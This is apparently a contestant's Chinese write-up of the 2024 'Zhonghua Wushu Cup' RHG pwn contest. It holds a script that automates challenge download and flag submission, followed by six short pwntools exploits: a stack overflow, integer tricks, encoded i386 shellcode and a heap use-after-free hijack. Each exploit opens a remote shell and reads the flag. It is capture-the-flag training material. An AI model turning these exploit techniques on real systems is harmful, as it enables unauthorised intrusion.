2024“中华武数杯”全国网络攻防精英赛RHG wp

第一次打RHG模式，i春秋的平台和在网上看到的不太一样，一轮是一小时，也可以手动一题一题做然后提交

写了个脚本获取题目信息然后下载，运行写好的exp然后提交flag（写不来自动分析漏洞，就人工代替ai）

"""
# -*- coding: utf-8 -*-
# @Author: dr0n1
# @Date:   2024/11/27
# @link: https://www.dr0n.top/
"""

import subprocess
import requests
import os
import re
from time import sleep

token = "icqxxx"


# 获取题目信息
def search(token):
    url = "https://apiterminator.ichunqiu.com/xxx"
    headers = {"user-agent": "Mozilla/5.0"}
    url = url + "?token=" + token
    data = requests.get(url, headers=headers).json()
    return data


# 下载题目附件并解压
def download(file_url, title):
    headers = {"user-agent": "Mozilla/5.0"}
    res = requests.get(file_url, headers=headers)
    os.makedirs('download', exist_ok=True)
    zip_path = f'download/{title}.zip'

    with open(zip_path, 'wb') as f:
        f.write(res.content)

    if os.name == 'nt':
        subprocess.run(['powershell', 'Expand-Archive', '-Path', zip_path, '-DestinationPath', f'download/{title}', '-Force'])
    else:
        subprocess.run(['unzip', '-o', zip_path, '-d', f'download/{title}'])

    print(f"[+]{title}下载解压完成")


# 运行exp
def run(docker_ip, docker_port, title):
    exp_dir = 'exp'
    prefix = title.split('-')[0]
    for filename in os.listdir(exp_dir):
        if filename.startswith(prefix) and filename.endswith('.py'):
            file_path = os.path.join(exp_dir, filename)
            try:
                process = subprocess.Popen(['python', file_path, docker_ip, str(docker_port)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            except FileNotFoundError:
                return None
            stdout, stderr = process.communicate()
            return stdout

    print(f"[-]{title} 没有对应exp")
    os.makedirs('exp', exist_ok=True)
    open(f'exp/{prefix}.py', 'w').close()
    return None


# 提交flag
def get_flag(token, question_id, flag):
    url = "https://apiterminator.ichunqiu.com/xxx"
    url = url + "?token=" + token + "&question_id=" + question_id + "&answer=" + flag
    headers = {"user-agent": "Mozilla/5.0"}
    res = requests.get(url, headers=headers).json()
    return res


# 排名查询
def rank():
    data = {"team_name": "", "industry_id": "", "attribute_id": "", "page_index": 1, "page_size": 10, "k": "BjNQYA0-B2cKewQjUjcBJVdxD3lXPFRmVDRTbgcxXGpVagQ3W25QPVZh", "stamp": 1732941812896, "token": "login:match_1211:e5cedf979df76cda478bde52601c12d7", "rs": "83a994740e198e91d37f1f195a515412"}
    url = "http://apiterminator.ichunqiu.com/match/rank/solved"
    headers = {"user-agent": "Mozilla/5.0", "SIGN": "xxx"}
    res = requests.post(url, headers=headers, data=data).json()
    return res


data = search(token)
if data['code'] != 0:
    print("[-]获取题目信息失败")
    exit()
for item in data['data']:
    question_id = item['question_id']
    title = item['title']
    score = item['score']
    real_score = item['real_score']
    file_url = item['file_url']
    is_solved = item['is_solved']
    solved_number = item['solved_number']
    docker_ip = item['docker_ip']
    docker_port = item['docker_port']
    flag_url = item['flag_url']
    attribute = item['attribute']

    if is_solved:
        print(f"[+]{title} 已解出")
    else:
        download(file_url, title)
        print(f"[+]正在解决 {title}")
        flag = run(docker_ip, docker_port, title)

        match = re.search(r'flag\{.*}', str(flag))
        if match:
            flag = match.group()
            print(f"[+]{title} flag: {flag}")
            rsp = get_flag(token, question_id, flag)
            code = rsp['code']
            message = rsp['message']
            if code == 0:
                print(f"[+]{title} 解题成功")
                print(f"[+]{title} 已有{solved_number}次解出")
                print(f"[+]{title} 得分{real_score}")
            else:
                print(f"[-]{title} 解题失败")
                print(f"[-]{title} {message}")
        else:
            print(f"[-]{title} exp运行失败")

    print("---------------------------------------------------")
    sleep(1)

rank = rank()
for item in rank['data']['lists']:
    team_name = item['team_name']
    school = item['school']
    total_score = item['total_score']

    print(f"队伍: {team_name} 学校: {school} 总分: {total_score}")

不过每一轮就两题，手动也很快，脚本不是很必要

rhg3

from pwn import *

p = remote(sys.argv[1], int(sys.argv[2]))
e = ELF("./download/rhg3/bin")
bss = e.bss(0x300)
p.send(b'a' * 0x6c + p8(0x2d))

p.sendline("cat /flag")
print(p.readuntil("}"))

rhg4

from pwn import *

p = remote(sys.argv[1], int(sys.argv[2]))
p.sendline('4294967288')

p.sendline("cat /flag")
print(p.readuntil("}"))

rhg5

from pwn import *

p = remote(sys.argv[1], int(sys.argv[2]))
p.sendline('WWDDDADAD')

p.sendline("cat /flag")
print(p.readuntil("}"))

rhg6

from pwn import *

context.arch = 'i386'
p = remote(sys.argv[1], int(sys.argv[2]))
# gdb.attach(p)
# pause()
shellcode = asm('nop\n' * 19 + shellcraft.sh())
shellcode = bytes([i - 1 for i in shellcode])
p.send(shellcode)

p.sendline("cat /flag")
print(p.readuntil("}"))

rhg7

from pwn import *
import time


def add(size, data=b'\n'):
    p.sendlineafter(b'2.show', b'0')
    p.sendline(str(size).encode())
    time.sleep(0.5)
    p.send(data)


def free(ind):
    p.sendlineafter(b'2.show', b'1')
    p.sendline(str(ind).encode())


def show(ind):
    p.sendlineafter(b'2.show\n', b'2')
    p.sendline(str(ind).encode())
    pass


# p = process('./download/rhg7/bin')
p = remote(sys.argv[1], int(sys.argv[2]))
system = 0x80488CE
bin_sh = 0x080BCF4F
add(0x8)  # 0
add(0x18)  # 1
free(0)
free(1)
add(8, p32(bin_sh) + p32(system))
show(0)

p.sendline("cat /flag")
print(p.readuntil("}"))

rhg8

from pwn import *

p = remote(sys.argv[1], int(sys.argv[2]))
p.sendline('0')
p.sendline('0')

p.sendline("cat /flag")
print(p.readuntil("}"))